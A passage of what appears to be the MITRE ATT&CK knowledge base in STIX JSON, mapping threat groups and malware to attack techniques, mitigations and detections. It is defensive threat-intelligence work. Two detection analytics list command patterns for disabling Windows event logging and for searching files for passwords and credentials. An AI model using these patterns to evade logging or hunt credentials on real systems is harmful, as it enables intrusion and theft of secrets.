with the container service to managed and secured channels, such as local Unix sockets or remote access via SSH. Require secure port access to communicate with the APIs over TLS by disabling unauthenticated access to the Docker API, Kubernetes API Server, and container orchestration web applications.(Citation: Docker Daemon Socket Protect)(Citation: Kubernetes API Control Access) In Kubernetes clusters deployed in cloud environments, use native cloud platform features to restrict the IP ranges that are permitted to access to API server.(Citation: Kubernetes Cloud Native Security) Where possible, consider enabling just-in-time (JIT) access to the Kubernetes API to place additional restrictions on access.(Citation: Microsoft AKS Azure AD 2023)","relationship_type":"mitigates","source_ref":"course-of-action--1dcaeb21-9348-42ea-950a-f842aaf1ae1f","target_ref":"attack-pattern--56e0d8b8-3e25-49dd-9050-3aa252f5aa92","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"3.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--9e8e158e-31a9-406e-8b58-68ef645b0cc8","created":"2023-02-23T18:26:33.504Z","revoked":false,"external_references":[{"source_name":"Bitdefender LuminousMoth July 2021","description":"Botezatu, B and etl. (2021, July 21). LuminousMoth - PlugX, File Exfiltration and Persistence Revisited. Retrieved October 20, 2022.","url":"https://www.bitdefender.com/blog/labs/luminousmoth-plugx-file-exfiltration-and-persistence-revisited"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-02-23T18:26:33.504Z","description":"[LuminousMoth](https://attack.mitre.org/groups/G1014) has manually archived stolen files from victim machines before exfiltration.(Citation: Bitdefender LuminousMoth July 2021)","relationship_type":"uses","source_ref":"intrusion-set--b7f627e2-0817-4cd5-8d50-e75f8aa85cc6","target_ref":"attack-pattern--53ac20cd-aca3-406e-9aa0-9fc7fdc60a5a","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.1.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--9e8f8dce-1921-4738-ae7f-30290a350cf2","type":"relationship","created":"2018-10-17T00:14:20.652Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"https://www.welivesecurity.com/2018/06/07/invisimole-equipped-spyware-undercover/","description":"Hromcová, Z. (2018, June 07). InvisiMole: Surprisingly equipped spyware, undercover since 2013. Retrieved July 10, 2018.","source_name":"ESET InvisiMole June 2018"},{"source_name":"ESET InvisiMole June 2020","url":"https://www.welivesecurity.com/wp-content/uploads/2020/06/ESET_InvisiMole.pdf","description":"Hromcova, Z. and Cherpanov, A. (2020, June). INVISIMOLE: THE HIDDEN PART OF THE STORY. Retrieved July 16, 2020."}],"modified":"2020-08-17T14:08:26.361Z","description":"[InvisiMole](https://attack.mitre.org/software/S0260) avoids analysis by encrypting all strings, internal files, configuration data and by using a custom executable format.(Citation: ESET InvisiMole June 2018)(Citation: ESET InvisiMole June 2020)","relationship_type":"uses","source_ref":"malware--47afe41c-4c08-485e-b062-c3bd209a1cce","target_ref":"attack-pattern--b3d682b6-98f2-4fb0-aa3b-b4df007ca70a","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--9e90e4a5-844c-4516-9044-6f35bbf27806","type":"relationship","created":"2017-05-31T21:33:27.039Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"http://www.welivesecurity.com/wp-content/uploads/2016/10/eset-sednit-part3.pdf","description":"ESET. (2016, October). En Route with Sednit - Part 3: A Mysterious Downloader. Retrieved November 21, 2016.","source_name":"ESET Sednit Part 3"}],"modified":"2019-09-09T17:44:35.005Z","description":"[APT28](https://attack.mitre.org/groups/G0007) has deployed a bootkit along with [Downdelph](https://attack.mitre.org/software/S0134) to ensure its persistence on the victim. The bootkit shares code with some variants of [BlackEnergy](https://attack.mitre.org/software/S0089).(Citation: ESET Sednit Part 3)","relationship_type":"uses","source_ref":"intrusion-set--bef4c620-0787-42a8-a96d-b7eb6e85917c","target_ref":"attack-pattern--1b7b1806-7746-41a1-a35d-e48dae25ddba","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--9e92ab98-b547-4206-8158-a186f7570550","created":"2023-02-14T18:20:43.982Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"MalwareBytes WoodyRAT Aug 2022","description":"MalwareBytes Threat Intelligence Team. (2022, August 3). Woody RAT: A new feature-rich malware spotted in the wild. Retrieved December 6, 2022.","url":"https://www.malwarebytes.com/blog/threat-intelligence/2022/08/woody-rat-a-new-feature-rich-malware-spotted-in-the-wild"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-02-23T22:20:29.115Z","description":"[Woody RAT](https://attack.mitre.org/software/S1065) has been delivered via malicious Word documents and archive files.(Citation: MalwareBytes WoodyRAT Aug 2022)","relationship_type":"uses","source_ref":"malware--3bc7e862-5610-4c02-9c48-15b2e2dc1ddb","target_ref":"attack-pattern--2e34237d-8574-43f6-aace-ae2915de8597","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--9e93d680-0e33-4577-97f6-da4e53f8ab78","type":"relationship","created":"2020-03-25T22:32:16.738Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2022-03-24T19:08:57.227Z","description":"Restrict read/write access to system-level process files to only select privileged users who have a legitimate need to manage system services.","relationship_type":"mitigates","source_ref":"course-of-action--987988f0-cf86-4680-a875-2f6456ab2448","target_ref":"attack-pattern--106c0cf6-bf73-4601-9aa8-0945c2715ec5","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--9e9b9874-f853-4945-9389-54174c2a7bfc","type":"relationship","created":"2020-08-10T14:43:04.551Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"SentinelOne Lazarus macOS July 2020","url":"https://www.sentinelone.com/blog/four-distinct-families-of-lazarus-malware-target-apples-macos-platform/","description":"Stokes, P. (2020, July 27). Four Distinct Families of Lazarus Malware Target Apple’s macOS Platform. Retrieved August 7, 2020."}],"modified":"2020-08-10T14:43:04.551Z","description":"[Cryptoistic](https://attack.mitre.org/software/S0498) can scan a directory to identify files for deletion.(Citation: SentinelOne Lazarus macOS July 2020)","relationship_type":"uses","source_ref":"malware--a04d9a4c-bb52-40bf-98ec-e350c2d6a862","target_ref":"attack-pattern--7bc57495-ea59-4380-be31-a64af124ef18","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"relationship","id":"relationship--9e9daac0-86ce-493f-a1b4-6c4e9d0e39ff","created":"2022-04-07T15:18:08.547Z","x_mitre_version":"0.1","external_references":[{"source_name":"Uptycs Warzone UAC Bypass November 2020","url":"https://www.uptycs.com/blog/warzone-rat-comes-with-uac-bypass-technique","description":"Mohanta, A. (2020, November 25). Warzone RAT comes with UAC bypass technique. Retrieved April 7, 2022."}],"x_mitre_deprecated":false,"revoked":false,"description":"[WarzoneRAT](https://attack.mitre.org/software/S0670) can use a variety of API calls on a compromised host.(Citation: Uptycs Warzone UAC Bypass November 2020)","modified":"2022-04-07T15:18:08.547Z","relationship_type":"uses","source_ref":"malware--fde19a18-e502-467f-be14-58c71b4e7f4b","target_ref":"attack-pattern--391d824f-0ef1-47a0-b0ee-c59a75e27670","x_mitre_attack_spec_version":"2.1.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--9ea25bfb-3e3a-42cb-8d2a-939169057806","type":"relationship","created":"2017-12-14T16:46:06.044Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Palo Alto CVE-2015-3113 July 2015","description":"Falcone, R. and Wartell, R.. (2015, July 27). Observations on CVE-2015-3113, Prior Zero-Days and the Pirpi Payload. Retrieved January 22, 2016.","url":"http://researchcenter.paloaltonetworks.com/2015/07/ups-observations-on-cve-2015-3113-prior-zero-days-and-the-pirpi-payload/"}],"modified":"2020-03-18T20:44:39.372Z","description":"[SHOTPUT](https://attack.mitre.org/software/S0063) has a command to list all servers in the domain, as well as one to locate domain controllers on a domain.(Citation: Palo Alto CVE-2015-3113 July 2015)","relationship_type":"uses","source_ref":"malware--58adaaa8-f1e8-4606-9a08-422e568461eb","target_ref":"attack-pattern--e358d692-23c0-4a31-9eb6-ecc13a8d7735","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--9ea7df8f-3720-4153-8090-4f1a18ecefac","type":"relationship","created":"2021-07-02T15:57:45.256Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Bitdefender Naikon April 2021","url":"https://www.bitdefender.com/files/News/CaseStudies/study/396/Bitdefender-PR-Whitepaper-NAIKON-creat5397-en-EN.pdf","description":"Vrabie, V. (2021, April 23). NAIKON – Traces from a Military Cyber-Espionage Operation. Retrieved June 29, 2021."}],"modified":"2021-07-02T15:57:45.256Z","description":"[Nebulae](https://attack.mitre.org/software/S0630) can create a service to establish persistence.(Citation: Bitdefender Naikon April 2021)","relationship_type":"uses","source_ref":"malware--22b17791-45bf-45c0-9322-ff1a0af5cf2b","target_ref":"attack-pattern--2959d63f-73fd-46a1-abd2-109d7dcede32","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--9eaaffb7-4dc4-4aac-a1d5-675b71e587df","type":"relationship","created":"2019-07-17T21:15:42.971Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2021-08-19T16:57:27.396Z","description":"Limit access to remote services through centrally managed concentrators such as VPNs and other managed remote access systems.","relationship_type":"mitigates","source_ref":"course-of-action--1dcaeb21-9348-42ea-950a-f842aaf1ae1f","target_ref":"attack-pattern--10d51417-ee35-4589-b1ff-b6df1c334e8d","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--9ead9e4e-20c7-4c39-86c2-adcea93e04b8","created":"2024-08-13T20:19:48.319Z","revoked":false,"external_references":[{"source_name":"CISA Iran Albanian Attacks September 2022","description":"CISA. (2022, September 23). AA22-264A Iranian State Actors Conduct Cyber Operations Against the Government of Albania. Retrieved August 6, 2024.","url":"https://www.cisa.gov/news-events/cybersecurity-advisories/aa22-264a"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-08-13T20:19:48.319Z","description":"During [HomeLand Justice](https://attack.mitre.org/campaigns/C0038), threat actors dumped LSASS memory on compromised hosts.(Citation: CISA Iran Albanian Attacks September 2022)","relationship_type":"uses","source_ref":"campaign--7e21077d-2589-43a7-a5f9-490061289526","target_ref":"attack-pattern--65f2d882-3f41-4d48-8a06-29af77ec9f90","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--9eaf89d5-01aa-4758-a2a9-abac83d2a17e","type":"relationship","created":"2020-12-29T22:21:11.445Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Cyble Egregor Oct 2020","url":"https://cybleinc.com/2020/10/31/egregor-ransomware-a-deep-dive-into-its-activities-and-techniques/","description":"Cybleinc. (2020, October 31). Egregor Ransomware – A Deep Dive Into Its Activities and Techniques. Retrieved December 29, 2020."}],"modified":"2020-12-29T22:21:11.445Z","description":"[Egregor](https://attack.mitre.org/software/S0554) has used DLL side-loading to execute its payload.(Citation: Cyble Egregor Oct 2020) ","relationship_type":"uses","source_ref":"malware--cc4c1287-9c86-4447-810c-744f3880ec37","target_ref":"attack-pattern--e64c62cf-9cd7-4a14-94ec-cdaac43ab44b","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--9eb64003-16d8-4b2d-b5e5-206130e5dd17","type":"relationship","created":"2021-01-28T15:42:43.446Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"ATT Sidewinder January 2021","url":"https://cdn-cybersecurity.att.com/docs/global-perspective-of-the-sidewinder-apt.pdf","description":"Hegel, T. (2021, January 13). A Global Perspective of the SideWinder APT. Retrieved January 27, 2021."}],"modified":"2021-04-07T15:19:28.762Z","description":"[Sidewinder](https://attack.mitre.org/groups/G0121) has used malware to collect information on network interfaces, including the MAC address.(Citation: ATT Sidewinder January 2021)","relationship_type":"uses","source_ref":"intrusion-set--3fc023b2-c5cc-481d-9c3e-70141ae1a87e","target_ref":"attack-pattern--707399d6-ab3e-4963-9315-d9d3818cd6a0","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--9eb8df35-0cbf-490e-903a-f610a1387eb2","created":"2023-03-26T15:22:32.052Z","revoked":false,"external_references":[{"source_name":"Volexity SolarWinds","description":"Cash, D. et al. (2020, December 14). Dark Halo Leverages SolarWinds Compromise to Breach Organizations. Retrieved December 29, 2020.","url":"https://www.volexity.com/blog/2020/12/14/dark-halo-leverages-solarwinds-compromise-to-breach-organizations/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-03-26T15:22:32.052Z","description":"During the [SolarWinds Compromise](https://attack.mitre.org/campaigns/C0024), [APT29](https://attack.mitre.org/groups/G0016) staged data and files in password-protected archives on a victim's OWA server.(Citation: Volexity SolarWinds)","relationship_type":"uses","source_ref":"campaign--808d6b30-df4e-4341-8248-724da4bac650","target_ref":"attack-pattern--359b00ad-9425-420b-bba5-6de8d600cbc0","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.1.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--9ebbabdc-0468-43f0-a15d-c13c584dd180","created":"2022-03-30T14:26:51.843Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-03-28T14:47:58.714Z","description":"Monitor newly executed processes that may disable Windows event logging to limit data that can be leveraged for detections and audits.\n\nAnalytic 1 - Disable Windows Event Logging\n\n (source=\"WinEventLog:Microsoft-Windows-Sysmon/Operational\" EventCode=\"1\") OR (source=\"WinEventLog:Security\" EventCode=\"4688\") \n\t((CommandLine=\"*New-Item*\" OR CommandLine=\"*reg add*\") CommandLine=\"*MiniNt*\")\n\tOR \n\t(CommandLine=\"*Stop-Service*\" CommandLine=\"*EventLog*\")\n\tOR \n\t(CommandLine=\"*EventLog*\" (CommandLine=\"*Set-Service*\" OR CommandLine=\"*reg add*\" OR CommandLine=\"*Set-ItemProperty*\" OR CommandLine=\"*New-ItemProperty*\" OR CommandLine=\"*sc config*\")) \n\tOR \n\t(CommandLine=\"*auditpol*\" (CommandLine=\"*/set*\" OR CommandLine=\"*/clear*\" OR CommandLine=\"*/revove*\")) \n\tOR \n\t(CommandLine=\"*wevtutil*\" (CommandLine=\"*sl*\" OR CommandLine=\"*set-log*\"))","relationship_type":"detects","source_ref":"x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077","target_ref":"attack-pattern--4eb28bed-d11a-4641-9863-c2ac017d910a","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--9ebc2d8a-a945-4b5d-805f-56e16bcc6676","created":"2019-09-23T23:08:25.395Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"FireEye APT41 Aug 2019","description":"Fraser, N., et al. (2019, August 7). Double DragonAPT41, a dual espionage and cyber crime operation APT41. Retrieved September 23, 2019.","url":"https://www.mandiant.com/sites/default/files/2022-02/rt-apt41-dual-operation.pdf"},{"source_name":"apt41_mandiant","description":"Mandiant. (n.d.). APT41, A DUAL ESPIONAGE AND CYBER CRIME OPERATION. Retrieved June 11, 2024.","url":"https://www.mandiant.com/sites/default/files/2022-02/rt-apt41-dual-operation.pdf"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-09-25T15:05:56.502Z","description":"[APT41](https://attack.mitre.org/groups/G0096) deployed a Monero cryptocurrency mining tool in a victim’s environment.(Citation: FireEye APT41 Aug 2019)(Citation: apt41_mandiant)","relationship_type":"uses","source_ref":"intrusion-set--18854f55-ac7c-4634-bd9a-352dd07613b7","target_ref":"attack-pattern--a718a0c8-5768-41a1-9958-a1cc3f995e99","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--9ec20e7b-8996-4f16-b830-1f8a0e99b778","type":"relationship","created":"2020-05-12T21:56:33.019Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"FOX-IT May 2016 Mofang","url":"https://foxitsecurity.files.wordpress.com/2016/06/fox-it_mofang_threatreport_tlp-white.pdf","description":"Yonathan Klijnsma. (2016, May 17). Mofang: A politically motivated information stealing adversary. Retrieved May 12, 2020."}],"modified":"2020-05-27T23:35:41.400Z","description":"[ShimRat](https://attack.mitre.org/software/S0444) has installed shim databases in the AppPatch folder.(Citation: FOX-IT May 2016 Mofang)","relationship_type":"uses","source_ref":"malware--5763217a-05b6-4edd-9bca-057e47b5e403","target_ref":"attack-pattern--42fe883a-21ea-4cfb-b94a-78b6476dcc83","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--9ecaf902-7633-4463-b5aa-3771a0ef08b7","created":"2024-06-10T18:00:36.416Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Secureworks GOLD IONIC April 2024","description":"Counter Threat Unit Research Team. (2024, April 15). GOLD IONIC DEPLOYS INC RANSOMWARE. Retrieved June 5, 2024.","url":"https://www.secureworks.com/blog/gold-ionic-deploys-inc-ransomware"},{"source_name":"Huntress INC Ransom Group August 2023","description":"Team Huntress. (2023, August 11). Investigating New INC Ransom Group Activity. Retrieved June 5, 2024.","url":"https://www.huntress.com/blog/investigating-new-inc-ransom-group-activity"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-07-03T17:54:27.890Z","description":"\n[INC Ransom](https://attack.mitre.org/groups/G1032) has used a rapid succession of copy commands to install a file encryption executable across multiple endpoints within compromised infrastructure.(Citation: Huntress INC Ransom Group August 2023)(Citation: Secureworks GOLD IONIC April 2024)","relationship_type":"uses","source_ref":"intrusion-set--cb41e991-65f4-4668-a65f-f4200545b5a1","target_ref":"attack-pattern--bf90d72c-c00b-45e3-b3aa-68560560d4c5","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--9ed1920b-595b-40ae-954c-1b4769eac07e","type":"relationship","created":"2022-03-25T17:14:59.092Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"NTT Security Flagpro new December 2021","url":"https://insight-jp.nttsecurity.com/post/102hf3q/flagpro-the-new-malware-used-by-blacktech","description":"Hada, H. (2021, December 28). Flagpro The new malware used by BlackTech. Retrieved March 25, 2022."}],"modified":"2022-03-25T17:14:59.092Z","description":"[Flagpro](https://attack.mitre.org/software/S0696) has exfiltrated data to the C2 server.(Citation: NTT Security Flagpro new December 2021) ","relationship_type":"uses","source_ref":"malware--592260fb-dd5c-4a30-8d99-106a0485be0d","target_ref":"attack-pattern--92d7da27-2d91-488e-a00c-059dc162766d","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--9ed53038-8320-4b6c-bbf3-764c68df8342","created":"2022-03-30T14:26:51.840Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-08-14T17:53:41.473Z","description":"Monitor executed commands and arguments of executing processes for suspicious words or regular expressions that may indicate searching for a password (for example: password, pwd, login, secure, or credentials).\n\nAnalytic 1 - Commands indicating credential searches in files.\n\n (index=security sourcetype=\"Powershell\" EventCode=4104 CommandLine=\"*password*\" OR CommandLine=\"*credential*\") OR\n(index=sysmon sourcetype=\"WinEventLog:Microsoft-Windows-Sysmon/Operational\" EventCode=1 CommandLine=\"*password*\" OR CommandLine=\"*credential*\") OR\n(index=os sourcetype=\"linux_audit\" action=\"execve\" CommandLine=\"*password*\" OR CommandLine=\"*credential*\" OR CommandLine=\"*passwd*\" OR CommandLine=\"*secret*\") OR\n(index=os sourcetype=\"macos_secure\" event_type=\"execve\" CommandLine=\"*password*\" OR CommandLine=\"*credential*\" OR CommandLine=\"*passwd*\" OR CommandLine=\"*secret*\") ","relationship_type":"detects","source_ref":"x-mitre-data-component--685f917a-e95e-4ba0-ade1-c7d354dae6e0","target_ref":"attack-pattern--837f9164-50af-4ac0-8219-379d8a74cefc","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--9ed66c72-199a-47d7-8bdd-95c34a370d33","created":"2024-02-21T19:28:46.239Z","revoked":false,"external_references":[{"source_name":"BushidoToken Akira 2023","description":"Will Thomas. (2023, September 15). Tracking Adversaries: Akira, another descendent of Conti. Retrieved February 21, 2024.","url":"https://blog.bushidotoken.net/2023/09/tracking-adversaries-akira-another.html"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-02-21T19:28:46.239Z","description":"[Akira](https://attack.mitre.org/groups/G1024) encrypts files in victim environments as part of ransomware operations.(Citation: BushidoToken Akira 2023)","relationship_type":"uses","source_ref":"intrusion-set--46bb06cb-f2d9-4b37-8c92-a27e224ad90d","target_ref":"attack-pattern--b80d107d-fa0d-4b60-9684-b0433e8bdba0","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--9ed7e90a-8034-48eb-8444-9ec29941a7b8","type":"relationship","created":"2021-04-20T03:36:35.464Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Volexity Ocean Lotus November 2020","url":"https://www.volexity.com/blog/2020/11/06/oceanlotus-extending-cyber-espionage-operations-through-fake-websites/","description":"Adair, S. and Lancaster, T. (2020, November 6). OceanLotus: Extending Cyber Espionage Operations Through Fake Websites. Retrieved November 20, 2020."}],"modified":"2021-04-20T03:36:35.464Z","description":"[APT32](https://attack.mitre.org/groups/G0050) has hosted malicious payloads in Dropbox, Amazon S3, and Google Drive for use during targeting.(Citation: Volexity Ocean Lotus November 2020)","relationship_type":"uses","source_ref":"intrusion-set--247cb30b-955f-42eb-97a5-a89fef69341e","target_ref":"attack-pattern--3ee16395-03f0-4690-a32e-69ce9ada0f9e","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--9edfa8b5-2e9f-4022-93b2-fd819156fe95","type":"relationship","created":"2018-04-18T17:59:24.739Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Microsoft BITSAdmin","description":"Microsoft. (n.d.). BITSAdmin Tool. Retrieved January 12, 2018.","url":"https://msdn.microsoft.com/library/aa362813.aspx"}],"modified":"2019-10-07T18:49:09.864Z","description":"[BITSAdmin](https://attack.mitre.org/software/S0190) can be used to create [BITS Jobs](https://attack.mitre.org/techniques/T1197) to upload and/or download files.(Citation: Microsoft BITSAdmin)","relationship_type":"uses","source_ref":"tool--64764dc6-a032-495f-8250-1e4c06bdc163","target_ref":"attack-pattern--e6919abc-99f9-4c6c-95a5-14761e7b2add","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--9ee064f9-05bc-4b9e-ad95-d1ae4f1c048a","created":"2018-10-17T00:14:20.652Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Microsoft FinFisher March 2018","description":"Allievi, A.,Flori, E. (2018, March 01). FinFisher exposed: A researcher’s tale of defeating traps, tricks, and complex virtual machines. Retrieved July 9, 2018.","url":"https://cloudblogs.microsoft.com/microsoftsecure/2018/03/01/finfisher-exposed-a-researchers-tale-of-defeating-traps-tricks-and-complex-virtual-machines/"},{"source_name":"FinFisher Citation","description":"FinFisher. (n.d.). Retrieved September 12, 2024.","url":"https://web.archive.org/web/20171222050934/http://www.finfisher.com/FinFisher/index.html"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-09-12T17:23:46.695Z","description":"[FinFisher](https://attack.mitre.org/software/S0182) creates a new Windows service with the malicious executable for persistence.(Citation: FinFisher Citation)(Citation: Microsoft FinFisher March 2018)","relationship_type":"uses","source_ref":"malware--a5528622-3a8a-4633-86ce-8cdaf8423858","target_ref":"attack-pattern--2959d63f-73fd-46a1-abd2-109d7dcede32","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--9ee0e760-3084-4341-b1c3-3f50a0506595","type":"relationship","created":"2019-06-20T14:52:45.182Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"description":"Patil, S. and Williams, M.. (2019, June 5). Government Sector in Central Asia Targeted With New HAWKBALL Backdoor Delivered via Microsoft Office Vulnerabilities. Retrieved June 20, 2019.","url":"https://www.fireeye.com/blog/threat-research/2019/06/government-in-central-asia-targeted-with-hawkball-backdoor.html","source_name":"FireEye HAWKBALL Jun 2019"}],"modified":"2020-03-30T02:56:05.774Z","description":"[HAWKBALL](https://attack.mitre.org/software/S0391) has encrypted data with XOR before sending it over the C2 channel.(Citation: FireEye HAWKBALL Jun 